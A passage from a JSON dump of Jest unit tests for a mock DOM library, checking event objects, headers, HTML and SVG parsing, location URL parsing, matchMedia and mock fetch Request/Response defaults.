expect(ev.repeat).toBe(false);\n  });\n\n  it('KeyboardEvent(type, eventInitDict)', () => {\n    const eventInitDict = {\n      bubbles: true,\n      composed: true,\n      code: 'KeyA',\n      key: 'A',\n      altKey: false,\n      ctrlKey: false,\n      metaKey: false,\n      shiftKey: true,\n      location: 0,\n      repeat: true,\n    };\n    const ev = new win.KeyboardEvent('keyup', eventInitDict);\n    expect(ev.bubbles).toBe(true);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(true);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('keyup');\n    expect(ev.code).toBe('KeyA');\n    expect(ev.key).toBe('A');\n    expect(ev.altKey).toBe(false);\n    expect(ev.ctrlKey).toBe(false);\n    expect(ev.metaKey).toBe(false);\n    expect(ev.shiftKey).toBe(true);\n    expect(ev.location).toBe(0);\n    expect(ev.repeat).toBe(true);\n  });\n\n  it('MouseEvent() requires type', () => {\n    expect(() => {\n      // @ts-ignore checking that it throws when not supplied required args\n      new win.MouseEvent();\n    }).toThrow();\n  });\n\n  it('MouseEvent(type)', () => {\n    const ev = new win.MouseEvent('onclick');\n    expect(ev.bubbles).toBe(false);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(false);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('onclick');\n    expect(ev.screenX).toBe(0);\n    expect(ev.screenY).toBe(0);\n    expect(ev.clientX).toBe(0);\n    expect(ev.clientY).toBe(0);\n    expect(ev.ctrlKey).toBe(false);\n    expect(ev.shiftKey).toBe(false);\n    expect(ev.altKey).toBe(false);\n    expect(ev.metaKey).toBe(false);\n    expect(ev.button).toBe(0);\n    expect(ev.buttons).toBe(0);\n    expect(ev.relatedTarget).toBe(null);\n  });\n\n  it('MouseEvent(type, eventInitDict)', () => {\n    const eventInitDict: MouseEventInit = {\n      bubbles: true,\n      composed: true,\n      screenX: 99,\n      screenY: 99,\n      clientX: 99,\n      clientY: 99,\n      ctrlKey: false,\n      shiftKey: true,\n      altKey: false,\n      metaKey: false,\n      button: 0,\n      buttons: 99,\n      relatedTarget: null,\n    };\n    const ev = new win.MouseEvent('onmousedown', eventInitDict);\n    expect(ev.bubbles).toBe(true);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(true);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('onmousedown');\n    expect(ev.screenX).toBe(99);\n    expect(ev.screenY).toBe(99);\n    expect(ev.clientX).toBe(99);\n    expect(ev.clientY).toBe(99);\n    expect(ev.ctrlKey).toBe(false);\n    expect(ev.shiftKey).toBe(true);\n    expect(ev.altKey).toBe(false);\n    expect(ev.metaKey).toBe(false);\n    expect(ev.button).toBe(0);\n    expect(ev.buttons).toBe(99);\n    expect(ev.relatedTarget).toBe(null);\n  });\n\n  describe('composedPath', () => {\n    let doc: MockDocument;\n\n    beforeEach(() => {\n      doc = win.document as unknown as MockDocument;\n    });\n\n    it('returns an empty path with no target', () => {\n      const event = new MockEvent('onclick', { bubbles: true });\n      expect(event.composedPath()).toHaveLength(0);\n    });\n\n    it('returns the correct path for a simple div element', () => {\n      const event = new MockEvent('onclick', { bubbles: true });\n\n      const divElm = new MockElement(doc, 'div');\n      divElm.textContent = 'simple div text';\n      doc.body.appendChild(divElm);\n\n      divElm.dispatchEvent(event);\n\n      const composedPath = event.composedPath();\n\n      expect(composedPath).toHaveLength(5);\n      expect(composedPath[0]).toBe(divElm);\n      expect(composedPath[1]).toBe(doc.body);\n      expect(composedPath[2]).toBe(doc.documentElement);\n      expect(composedPath[3]).toBe(doc);\n      expect(composedPath[4]).toBe(win);\n    });\n\n    it('returns the correct path for a nested element', () => {\n      const event = new MockEvent('onclick', { bubbles: true });\n\n      const divElm = new MockElement(doc, 'div');\n      doc.body.appendChild(divElm);\n\n      const pElm = new MockElement(doc, 'p');\n      pElm.textContent = 'simple p text';\n      divElm.appendChild(pElm);\n\n      pElm.dispatchEvent(event);\n\n      const composedPath = event.composedPath();\n\n      expect(composedPath).toHaveLength(6);\n      expect(composedPath[0]).toBe(pElm);\n      expect(composedPath[1]).toBe(divElm);\n      expect(composedPath[2]).toBe(doc.body);\n      expect(composedPath[3]).toBe(doc.documentElement);\n      expect(composedPath[4]).toBe(doc);\n      expect(composedPath[5]).toBe(win);\n    });\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/global.spec.ts",
    "content": "describe('global', () => {\n  it('HTMLElement', () => {\n    expect(HTMLElement).toBeDefined();\n    expect(HTMLAnchorElement).toBeDefined();\n    expect(HTMLBaseElement).toBeDefined();\n    expect(HTMLButtonElement).toBeDefined();\n    expect(HTMLCanvasElement).toBeDefined();\n    expect(HTMLFormElement).toBeDefined();\n    expect(HTMLImageElement).toBeDefined();\n    expect(HTMLInputElement).toBeDefined();\n    expect(HTMLLinkElement).toBeDefined();\n    expect(HTMLMetaElement).toBeDefined();\n    expect(HTMLScriptElement).toBeDefined();\n    expect(HTMLStyleElement).toBeDefined();\n    expect(HTMLTemplateElement).toBeDefined();\n    expect(HTMLTitleElement).toBeDefined();\n  });\n\n  it('Event', () => {\n    expect(CustomEvent).toBeDefined();\n    expect(Event).toBeDefined();\n    expect(KeyboardEvent).toBeDefined();\n    expect(MouseEvent).toBeDefined();\n  });\n\n  it('Fetch', () => {\n    expect(Request).toBeDefined();\n    expect(Response).toBeDefined();\n  });\n\n  it('Parse', () => {\n    expect(DOMParser).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/headers.spec.ts",
    "content": "import { MockHeaders } from '../headers';\n\ndescribe('MockHeaders', () => {\n  const Headers = MockHeaders;\n\n  it('init from object', () => {\n    const headers = new Headers({\n      'x-header-a': 1,\n      'x-header-A': 2,\n      'x-header-b': 3,\n    });\n    expect(headers.get('x-header-a')).toBe('1, 2');\n    expect(headers.get('x-header-b')).toBe('3');\n  });\n\n  it('init tuples', () => {\n    const headers = new Headers([\n      new Set(['x-header-a', '1']),\n      ['x-header-b', '2'],\n      new Map([\n        ['X-header-A', null],\n        ['3', null],\n      ]).keys(),\n      new Set(['x-header-c', '4']),\n    ]);\n    expect(headers.get('x-header-a')).toBe('1, 3');\n    expect(headers.get('x-header-b')).toBe('2');\n    expect(headers.get('x-header-c')).toBe('4');\n  });\n\n  it('init from Headers', () => {\n    const headersA = new Headers({\n      'x-header-a': 1,\n      'x-header-A': 2,\n      'x-header-b': 3,\n    });\n    const headersB = new Headers(headersA);\n    expect(headersB.get('x-header-a')).toBe('1, 2');\n    expect(headersB.get('x-header-b')).toBe('3');\n  });\n\n  it('append/get', () => {\n    const headers = new Headers();\n    headers.append('x-header', '1');\n    headers.append('x-header', '2');\n    headers.append('X-HEADER', '3');\n    const output = headers.get('x-header');\n    expect(output).toBe('1, 2, 3');\n  });\n\n  it('set/get', () => {\n    const headers = new Headers();\n    headers.set('x-header', '1');\n    headers.set('x-header', '2');\n    headers.set('X-HEADER', '3');\n    const output = headers.get('x-header');\n    expect(output).toBe('3');\n  });\n\n  it('delete', () => {\n    const headers = new Headers();\n    headers.append('x-header', '1');\n    headers.delete('x-header');\n    const output = headers.get('x-header');\n    expect(output).toBe(null);\n  });\n\n  it('delete different cases', () => {\n    const headers = new Headers();\n    headers.append('x-header', '1');\n    headers.append('X-HEADER', '2');\n    headers.append('x-HEAdEr', '3');\n    headers.delete('x-header');\n    const output1 = headers.get('x-header');\n    const output2 = headers.get('X-HEADER');\n    const output3 = headers.get('x-HEAdEr');\n    expect(output1).toBe(null);\n    expect(output2).toBe(null);\n    expect(output3).toBe(null);\n  });\n\n  it('keys', () => {\n    const headers = new Headers();\n    headers.append('x-header', '1');\n    headers.append('x-header', '2');\n    headers.append('X-HEADER', '3');\n    const o = Array.from(headers.keys());\n    expect(o).toEqual(['x-header']);\n  });\n\n  it('values', () => {\n    const headers = new Headers();\n    headers.append('x-header', '1');\n    headers.append('x-header', '2');\n    headers.append('X-HEADER', '2');\n    const o = Array.from(headers.values());\n    expect(o).toEqual(['1', '2', '2']);\n  });\n\n  it('entries', () => {\n    const headers = new Headers();\n    headers.append('x-header-a', '1');\n    headers.append('x-header-a', '2');\n    headers.append('X-HEADER-A', '3');\n    headers.append('x-header-b', 'a');\n    headers.append('x-header-b', 'b');\n    headers.append('X-HEADER-B', 'c');\n    const o1 = Array.from(headers.entries());\n    const o2 = Array.from(headers);\n    expect(o1).toEqual([\n      ['x-header-a', '1, 2, 3'],\n      ['x-header-b', 'a, b, c'],\n    ]);\n    expect(o2).toEqual([\n      ['x-header-a', '1, 2, 3'],\n      ['x-header-b', 'a, b, c'],\n    ]);\n  });\n\n  it('forEach', () => {\n    const headers = new Headers();\n    headers.append('x-header-a', '1');\n    headers.append('x-header-a', '2');\n    headers.append('X-HEADER-A', '3');\n    headers.append('x-header-b', 'a');\n    headers.append('x-header-b', 'b');\n    headers.append('X-HEADER-B', 'c');\n    const o: [string, string][] = [];\n    headers.forEach((v, k) => {\n      o.push([v, k]);\n    });\n    expect(o).toEqual([\n      ['1, 2, 3', 'x-header-a'],\n      ['a, b, c', 'x-header-b'],\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/html-parse.spec.ts",
    "content": "import { NODE_TYPES } from '../constants';\nimport { createFragment } from '../document';\nimport { MockDocument } from '../document';\nimport { MockDOMMatrix, MockDOMPoint, MockSVGRect, MockSVGSVGElement, MockSVGTextContentElement } from '../element';\nimport { parseHtmlToDocument, parseHtmlToFragment } from '../parse-html';\n\ndescribe('parseHtml', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('should create multiple node documentFragment', () => {\n    const frag = createFragment('<div>1</div><div>2</div>');\n    expect(frag.childNodes.length).toBe(2);\n    expect(frag.childNodes[0].textContent).toBe('1');\n    expect(frag.childNodes[1].textContent).toBe('2');\n  });\n\n  it('should create one node documentFragment', () => {\n    const frag = createFragment('<div>1</div>');\n    expect(frag.childNodes.length).toBe(1);\n    expect(frag.childNodes[0].textContent).toBe('1');\n  });\n\n  it('should create empty documentFragment', () => {\n    const frag = createFragment();\n    expect(frag.childNodes.length).toBe(0);\n    expect(frag.nodeType).toBe(NODE_TYPES.DOCUMENT_FRAGMENT_NODE);\n  });\n\n  it('body innerHTML/querySelector', () => {\n    doc = new MockDocument();\n\n    doc.body.innerHTML = '<cmp-a>text</cmp-a>';\n\n    expect(doc.body.innerHTML).toBe(`<cmp-a>text</cmp-a>`);\n    expect(doc.body.outerHTML).toBe(`<body><cmp-a>text</cmp-a></body>`);\n\n    const article = doc.querySelector('cmp-a');\n    expect(article.tagName).toBe('CMP-A');\n  });\n\n  it('svg', () => {\n    doc = new MockDocument(`\n      <div>\n        <svg>\n          <a>Hello</a>\n          <feImage></feImage>\n          <foreignObject>\n            <a>Hello</a>\n            <feImage></feImage>\n          </foreignObject>\n        <svg>\n      </div>\n    `);\n    expect(doc.body?.firstElementChild?.tagName).toEqual('DIV');\n    expect(doc.body?.firstElementChild?.firstElementChild?.tagName).toEqual('svg');\n    expect(doc.body?.firstElementChild?.firstElementChild?.children?.[0]?.tagName).toEqual('a');\n    expect(doc.body?.firstElementChild?.firstElementChild?.children?.[1]?.tagName).toEqual('feImage');\n    expect(doc.body?.firstElementChild?.firstElementChild?.children?.[2]?.tagName).toEqual('foreignObject');\n    expect(doc.body?.firstElementChild?.firstElementChild?.children?.[2].children?.[0]?.tagName).toEqual('A');\n    expect(doc.body?.firstElementChild?.firstElementChild?.children?.[2]?.children?.[1]?.tagName).toEqual('FEIMAGE');\n    expect(doc.body).toEqualHtml(`\n    <div>\n      <svg>\n        <a>\n          Hello\n        </a>\n        <feImage></feImage>\n        <foreignObject>\n          <a>\n            Hello\n          </a>\n          <feimage></feimage>\n        </foreignObject>\n        <svg></svg>\n      </svg>\n    </div>\n    `);\n  });\n\n  it('svg attributes', () => {\n    doc = new MockDocument(`\n      <svg viewBox=\"0 0 100 100\"></svg>\n    `);\n\n    expect(doc.body?.firstElementChild?.attributes?.item(0)?.name).toEqual('viewBox');\n  });\n\n  it('svg matrix members', () => {\n    doc = new MockDocument(`\n      <svg viewBox=\"0 0 100 100\">\n        <svg>\n          <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\"></rect>\n        </svg>\n      </svg>\n    `);\n    const svgElem: MockSVGSVGElement = doc.body.firstElementChild?.firstElementChild as MockSVGSVGElement;\n    expect(svgElem).toBeDefined();\n    expect(svgElem.getBBox()).toEqual(new MockSVGRect());\n    expect(svgElem.createSVGPoint()).toEqual(new MockDOMPoint());\n    expect(svgElem.getScreenCTM()).toEqual(new MockDOMMatrix());\n    expect(svgElem.getCTM()).toEqual(new MockDOMMatrix());\n  });\n\n  it('svg text members', () => {\n    doc = new MockDocument(`\n      <svg viewBox=\"0 0 100 100\">\n        <text x=\"10\" y=\"10\">\n          Hello\n          <tspan>world</tspan>\n        </text>\n      </svg>\n    `);\n    const text: MockSVGTextContentElement = doc.body.firstElementChild?.firstElementChild as MockSVGTextContentElement;\n    expect(text).toBeDefined();\n    expect(text.tagName).toEqual('text');\n\n    const tspan: MockSVGTextContentElement = text.firstElementChild as MockSVGTextContentElement;\n    expect(tspan).toBeDefined();\n    expect(tspan.getComputedTextLength()).toEqual(0);\n  });\n\n  it('template', () => {\n    doc = new MockDocument(`\n      <template>text</template>\n    `);\n\n    expect(doc.head.innerHTML).toBe(`<template>text</template>`);\n\n    const tmplElm: HTMLTemplateElement = doc.head.firstElementChild as any;\n\n    expect(tmplElm.outerHTML).toBe(`<template>text</template>`);\n    expect(tmplElm.content?.firstChild?.textContent).toBe(`text`);\n    expect(tmplElm.childNodes).toHaveLength(0);\n  });\n\n  it('getElementsByTagName', () => {\n    doc = new MockDocument(`\n      <article>article</article>\n      <section>section</section>\n      <section>section</section>\n    `);\n\n    expect(doc.nodeType).toBe(NODE_TYPES.DOCUMENT_NODE);\n    expect(doc.childElementCount).toBe(1);\n    expect(doc.firstElementChild?.tagName).toBe('HTML');\n    expect(doc.lastChild?.nodeName).toBe('HTML');\n    expect(doc.children[0].nodeName).toBe('HTML');\n    expect(doc.children[0].nodeType).toBe(NODE_TYPES.ELEMENT_NODE);\n\n    const htmlElms = doc.getElementsByTagName('html');\n    expect(htmlElms).toHaveLength(1);\n    expect(htmlElms[0].tagName).toBe('HTML');\n\n    const bodyElms = doc.getElementsByTagName('body');\n    expect(bodyElms).toHaveLength(1);\n    expect(bodyElms[0].tagName).toBe('BODY');\n\n    const articleElms = doc.getElementsByTagName('article');\n    expect(articleElms).toHaveLength(1);\n    expect(articleElms[0].tagName).toBe('ARTICLE');\n\n    const sectionElms = doc.getElementsByTagName('section');\n    expect(sectionElms).toHaveLength(2);\n    expect(sectionElms[0].tagName).toBe('SECTION');\n    expect(sectionElms[1].tagName).toBe('SECTION');\n  });\n\n  it('getElementsByName', () => {\n    doc = new MockDocument(`\n      <form name=\"form-name\">\n        <input name=\"a\">\n        <input name=\"a\">\n      </form>\n    `);\n\n    const formElms = doc.getElementsByName('form-name');\n    expect(formElms).toHaveLength(1);\n\n    const inputElms = doc.getElementsByName('a');\n    expect(inputElms).toHaveLength(2);\n  });\n\n  it('get text only outerHTML', () => {\n    const elm = doc.createElement('div');\n    const text = doc.createTextNode('text');\n    elm.appendChild(text);\n    expect(elm.outerHTML).toBe('<div>text</div>');\n  });\n\n  it('get text only innerHTML', () => {\n    const elm = doc.createElement('div');\n    const text = doc.createTextNode('text');\n    elm.appendChild(text);\n    expect(elm.innerHTML).toBe('text');\n  });\n\n  it('set innerHTML', () => {\n    const elm = doc.createElement('div');\n    elm.innerHTML = '<div>hello</div>';\n    expect(elm.childNodes).toHaveLength(1);\n    expect(elm.children).toHaveLength(1);\n    expect(elm.firstElementChild.tagName).toBe('DIV');\n    expect(elm.firstElementChild.innerHTML).toBe('hello');\n    expect(elm.innerHTML).toBe('<div>hello</div>');\n  });\n\n  it('get empty innerHTML', () => {\n    const elm = doc.createElement('div');\n    expect(elm.innerHTML).toBe('');\n  });\n\n  it('comment', () => {\n    const html = `\n      a<!--comment-->b\n    `;\n    const elm = parseHtmlToFragment(html, doc);\n    expect(elm.childNodes).toHaveLength(3);\n    expect(elm.firstChild.nodeValue).toBe('a');\n    expect(elm.firstChild.nextSibling.nodeName).toBe('#comment');\n    expect(elm.firstChild.nextSibling.nodeType).toBe(8);\n    expect(elm.firstChild.nextSibling.nodeValue).toBe('comment');\n    expect(elm.firstChild.nextSibling.textContent).toBe('comment');\n    expect(elm.firstChild.nextSibling.nextSibling.nodeValue).toBe('b');\n    expect(elm.lastChild.nodeValue).toBe('b');\n  });\n\n  it('div > span', () => {\n    const html = `\n      <div><span></span></div>\n    `;\n    const elm = parseHtmlToFragment(html, doc);\n    expect(elm.children).toHaveLength(1);\n    expect(elm.firstElementChild.tagName).toBe('DIV');\n    expect(elm.firstElementChild.firstElementChild.tagName).toBe('SPAN');\n    expect(elm.firstElementChild.lastChild.nodeName).toBe('SPAN');\n    expect(elm.firstElementChild.firstElementChild.parentElement.tagName).toBe('DIV');\n  });\n\n  it('div span', () => {\n    const html = `\n      <div></div>\n      <span></span>\n    `;\n    const elm = parseHtmlToFragment(html, doc);\n    expect(elm.children).toHaveLength(2);\n    expect(elm.children[0].tagName).toBe('DIV');\n    expect(elm.children[0].nextElementSibling.tagName).toBe('SPAN');\n    expect(elm.children[1].tagName).toBe('SPAN');\n    expect(elm.children[1].previousElementSibling.tagName).toBe('DIV');\n  });\n\n  it('article', () => {\n    const html = `\n      <article>text</article>\n    `;\n    const elm = parseHtmlToFragment(html, doc);\n    expect(elm.children).toHaveLength(1);\n    expect(elm.firstElementChild.tagName).toBe('ARTICLE');\n    expect(elm.firstElementChild.firstChild.nodeName).toBe('#text');\n    expect(elm.firstElementChild.firstChild.nodeValue).toBe('text');\n  });\n\n  it('element with < text', () => {\n    const html = `\n      <article>a < b</article>\n    `;\n    const elm = parseHtmlToFragment(html, doc);\n    expect(elm.children).toHaveLength(1);\n    expect(elm.firstElementChild.tagName).toBe('ARTICLE');\n    expect(elm.firstElementChild.firstChild.nodeName).toBe('#text');\n    expect(elm.firstElementChild.firstChild.nodeValue).toBe('a < b');\n  });\n\n  it('div', () => {\n    const html = `\n      <div class=\"doc\">hello</div>\n    `;\n    const elm = parseHtmlToDocument(html, doc);\n    expect(elm.children).toHaveLength(1);\n    expect(elm.children[0].tagName).toBe('HTML');\n    expect(elm.children[0].firstChild.nodeName).toBe('HEAD');\n    expect(elm.children[0].firstChild.nextSibling.nodeName).toBe('BODY');\n    expect(elm.children[0].firstChild.nextSibling.firstChild.nodeName).toBe('DIV');\n    expect(elm.children[0].firstChild.nextSibling.firstChild.firstChild.nodeValue).toBe('hello');\n  });\n\n  it('should respect case in svg', () => {\n    const elm = parseHtmlToFragment('<svg  viewbox=\"0 0 97 20\"><symbol viewbox=\"0 0 97 20\"></symbol></svg>');\n    expect(elm.children.length).toBe(1);\n    expect(elm.children[0].attributes.item(0).name).toBe('viewBox');\n    expect(elm.children[0].children[0].attributes.item(0).name).toBe('viewBox');\n  });\n\n  it('should mock canvas api', () => {\n    const elm = parseHtmlToFragment('<canvas id=\"canvas\" width=\"300\" height=\"300\"></canvas>');\n    const canvas = elm.children[0];\n    const ctx: CanvasRenderingContext2D = canvas.getContext('2d');\n    expect(elm.children.length).toBe(1);\n    expect(elm.children[0].nodeName).toBe('CANVAS');\n    expect(ctx.getImageData(0, 0, 300, 300).data.length).toBe(300 * 300 * 4);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/location.spec.ts",
    "content": "import { MockWindow } from '../window';\n\ndescribe('location.href', () => {\n  let win: MockWindow;\n  beforeEach(() => {\n    win = new MockWindow(`\n      <html>\n        <head>\n        </head>\n      </head>\n      `);\n    win.location.href = 'http://stencil:secret@stenciljs.com:3000/path/to/page?var=var#hash';\n  });\n\n  it('window.location.href', () => {\n    expect(win.location.href).toBe('http://stencil:secret@stenciljs.com:3000/path/to/page?var=var#hash');\n  });\n  it('window.location.protocol', () => {\n    expect(win.location.protocol).toBe('http:');\n  });\n  it('window.location.host', () => {\n    expect(win.location.host).toBe('stenciljs.com:3000');\n  });\n  it('window.location.hostname', () => {\n    expect(win.location.hostname).toBe('stenciljs.com');\n  });\n  it('window.location.port', () => {\n    expect(win.location.port).toBe('3000');\n  });\n  it('window.location.pathname', () => {\n    expect(win.location.pathname).toBe('/path/to/page');\n  });\n  it('window.location.search', () => {\n    expect(win.location.search).toBe('?var=var');\n  });\n  it('window.location.hash', () => {\n    expect(win.location.hash).toBe('#hash');\n  });\n  it('window.location.username', () => {\n    expect(win.location.username).toBe('stencil');\n  });\n  it('window.location.password', () => {\n    expect(win.location.password).toBe('secret');\n  });\n  it('window.location.origin', () => {\n    expect(win.location.origin).toBe('http://stenciljs.com:3000');\n  });\n});\n\ndescribe('location', () => {\n  let win: MockWindow;\n  beforeEach(() => {\n    win = new MockWindow(`\n      <html>\n        <head>\n        </head>\n      </head>\n      `);\n    win.location = 'http://stencil:secret@stenciljs.com:3000/path/to/page?var=var#hash';\n  });\n\n  it('window.location.href', () => {\n    expect(win.location.href).toBe('http://stencil:secret@stenciljs.com:3000/path/to/page?var=var#hash');\n  });\n  it('window.location.protocol', () => {\n    expect(win.location.protocol).toBe('http:');\n  });\n  it('window.location.host', () => {\n    expect(win.location.host).toBe('stenciljs.com:3000');\n  });\n  it('window.location.hostname', () => {\n    expect(win.location.hostname).toBe('stenciljs.com');\n  });\n  it('window.location.port', () => {\n    expect(win.location.port).toBe('3000');\n  });\n  it('window.location.pathname', () => {\n    expect(win.location.pathname).toBe('/path/to/page');\n  });\n  it('window.location.search', () => {\n    expect(win.location.search).toBe('?var=var');\n  });\n  it('window.location.hash', () => {\n    expect(win.location.hash).toBe('#hash');\n  });\n  it('window.location.username', () => {\n    expect(win.location.username).toBe('stencil');\n  });\n  it('window.location.password', () => {\n    expect(win.location.password).toBe('secret');\n  });\n  it('window.location.origin', () => {\n    expect(win.location.origin).toBe('http://stenciljs.com:3000');\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/match-media.spec.ts",
    "content": "import { MockWindow } from '../window';\n\ndescribe('matchMedia', () => {\n  let win: MockWindow;\n  let media: ReturnType<MockWindow['matchMedia']>;\n  beforeEach(() => {\n    win = new MockWindow(`\n      <html>\n        <head>\n        </head>\n      </head>\n      `);\n    media = win.matchMedia('(prefers-color-scheme: dark)');\n  });\n\n  it('MediaQueryList.media', () => {\n    expect(media.media).toBe('(prefers-color-scheme: dark)');\n  });\n  it('MediaQueryList.matches', () => {\n    expect(media.matches).toBe(false);\n  });\n  it('MediaQueryList.addListener', () => {\n    expect(media.addListener).toBeDefined();\n  });\n  it('MediaQueryList.removeListener', () => {\n    expect(media.removeListener).toBeDefined();\n  });\n  it('MediaQueryList.addEventListener', () => {\n    expect(media.addEventListener).toBeDefined();\n  });\n  it('MediaQueryList.removeEventListener', () => {\n    expect(media.removeEventListener).toBeDefined();\n  });\n  it('MediaQueryList.dispatchEvent', () => {\n    expect(media.dispatchEvent).toBeDefined();\n  });\n  it('MediaQueryList.onchange', () => {\n    expect(media.onchange).toBe(null);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/request-response.spec.ts",
    "content": "import { MockHeaders } from '../headers';\nimport { MockRequest, MockResponse } from '../request-response';\n\ndescribe('MockRequest', () => {\n  it('no input defaults', () => {\n    const request = new MockRequest();\n    expect(request.bodyUsed).toBe(false);\n    expect(request.cache).toBe('default');\n    expect(request.credentials).toBe('same-origin');\n    expect(request.headers).toBeDefined();\n    expect(request.integrity).toBe('');\n    expect(request.keepalive).toBe(false);\n    expect(request.method).toBe('GET');\n    expect(request.mode).toBe('cors');\n    expect(request.redirect).toBe('follow');\n    expect(request.referrer).toBe('about:client');\n    expect(request.referrerPolicy).toBe('');\n    expect(request.url).toBe('http://testing.stenciljs.com/');\n  });\n\n  it('string url', () => {\n    const request = new MockRequest('/my-url');\n    expect(request.bodyUsed).toBe(false);\n    expect(request.cache).toBe('default');\n    expect(request.credentials).toBe('same-origin');\n    expect(request.headers).toBeDefined();\n    expect(request.integrity).toBe('');\n    expect(request.keepalive).toBe(false);\n    expect(request.method).toBe('GET');\n    expect(request.mode).toBe('cors');\n    expect(request.redirect).toBe('follow');\n    expect(request.referrer).toBe('about:client');\n    expect(request.referrerPolicy).toBe('');\n    expect(request.url).toBe('http://testing.stenciljs.com/my-url');\n  });\n\n  it('request input', () => {\n    const headers = new MockHeaders();\n    headers.set('x-header', 'value');\n    const request = new MockRequest({\n      cache: 'no-cache',\n      method: 'post',\n      url: '/request-url',\n      headers,\n    });\n    expect(request.bodyUsed).toBe(false);\n    expect(request.cache).toBe('no-cache');\n    expect(request.credentials).toBe('same-origin');\n    expect(request.headers).toBeDefined();\n    expect(request.integrity).toBe('');\n    expect(request.keepalive).toBe(false);\n    expect(request.method).toBe('POST');\n    expect(request.mode).toBe('cors');\n    expect(request.redirect).toBe('follow');\n    expect(request.referrer).toBe('about:client');\n    expect(request.referrerPolicy).toBe('');\n    expect(request.url).toBe('http://testing.stenciljs.com/request-url');\n    expect(request.headers.get('x-header')).toBe('value');\n\n    const requestCloned = request.clone();\n    expect(request.url).toBe('http://testing.stenciljs.com/request-url');\n    expect(requestCloned.cache).toBe('no-cache');\n    expect(requestCloned.headers).not.toBe(request.headers);\n    expect(requestCloned.headers.get('x-header')).toBe('value');\n  });\n\n  it('request input and init headers w/ Headers', () => {\n    const headers = new MockHeaders();\n    headers.set('x-header', 'value');\n    const request = new MockRequest('/url', {\n      headers,\n      method: 'POST',\n      cache: 'no-cache',\n    });\n    expect(request.cache).toBe('no-cache');\n    expect(request.method).toBe('POST');\n    expect(request.headers).not.toBe(headers);\n    expect(request.headers.get('x-header')).toBe('value');\n  });\n\n  it('request input and init headers w/ object', () => {\n    const headers = {\n      'x-header': 'value',\n    };\n    const request = new MockRequest('/url', {\n      headers,\n    });\n    expect(request.headers.get('x-header')).toBe('value');\n  });\n});\n\ndescribe('MockResponse', () => {\n  it('default', () => {\n    const response = new MockResponse();\n    expect(response.ok).toBe(true);\n    expect(response.status).toBe(200);\n    expect(response.statusText).toBe('');\n    expect(response.type).toBe('default');\n    expect(response.url).toBe('');\n    expect(response.headers).toBeDefined();\n  });\n\n  it('init', () => {\n    const response = new MockResponse('body', {\n      ok: false,\n      status: 404,\n      statusText: 'Not Found',\n      type: 'basic',\n      headers: {\n        'X-HeadeR': 88,\n      },\n    });\n    expect(response.ok).toBe(false);\n    expect(response.status).toBe(404);\n    expect(response.statusText).toBe('Not Found');\n    expect(response.type).toBe('basic');\n    expect(response.headers.get('x-header')).toBe('88');\n\n    const cloned = response.clone();\n    expect(cloned.ok).toBe(false);\n    expect(cloned.status).toBe(404);\n    expect(cloned.statusText).toBe('Not Found');\n    expect(cloned.type).toBe('basic');\n    expect(cloned.headers.get('x-header')).toBe('88');\n    expect(cloned.headers).not.toBe(response.headers);\n  });\n\n  it('text body', async () => {\n    const response = new MockResponse('text');\n    expect(await response.text()).toBe('text');\n  });\n\n  it('json body', async () => {\n    const response = new MockResponse(JSON.stringify({ data: 88 }));\n    expect((await response.json()).data).toBe(88);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/selector.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { MockElement } from '../node';\nimport { PROBLEMATIC_SELECTORS } from '../selector';\n\ndescribe('selector', () => {\n  it('closest', () => {\n    const doc = new MockDocument(`\n      <div>\n        <span>\n          <p></p>\n        </span>\n      </div>\n    `);\n\n    const p = doc.querySelector('p');\n    const div = doc.querySelector('div');\n    expect(p.closest('div')).toBe(div);\n  });\n\n  it('no closest', () => {\n    const doc = new MockDocument(`\n      <div>\n        <span>\n          <p></p>\n        </span>\n      </div>\n    `);\n\n    const p = doc.querySelector('p');\n    expect(p.closest('div#my-id')).toBe(null);\n  });\n\n  it('matches, tag/class/id', () => {\n    const elm = new MockElement(null, 'h1');\n    elm.classList.add('my-class');\n    elm.id = 'my-id';\n    expect(elm.matches('h1.my-class#my-id')).toBe(true);\n  });\n\n  it('no matches, tag/class/id', () => {\n    const elm = new MockElement(null, 'h1');\n    expect(elm.matches('h1.my-class#my-id')).toBe(false);\n  });\n\n  it('matches, tag', () => {\n    const elm = new MockElement(null, 'h1');\n    expect(elm.matches('h1')).toBe(true);\n  });\n\n  it('no matches, tag', () => {\n    const elm = new MockElement(null, 'h1');\n    expect(elm.matches('div')).toBe(false);\n  });\n\n  it('not find input.checked.a.b', () => {\n    const doc = new MockDocument(`\n      <input class=\"checked a c\" id=\"checkbox\">\n    `);\n\n    const checkbox = doc.querySelector('input.checked.a.b');\n    expect(checkbox).toBe(null);\n  });\n\n  it('find input.checked', () => {\n    const doc = new MockDocument(`\n      <input class=\"checked\" id=\"checkbox\">\n    `);\n\n    const checkbox = doc.querySelector('input.checked');\n    expect(checkbox.id).toBe('checkbox');\n  });\n\n  it('find input[checked=true][disabled]', () => {\n    const doc = new MockDocument(`\n      <input checked=\"true\" disabled id=\"checkbox\">\n    `);\n\n    const 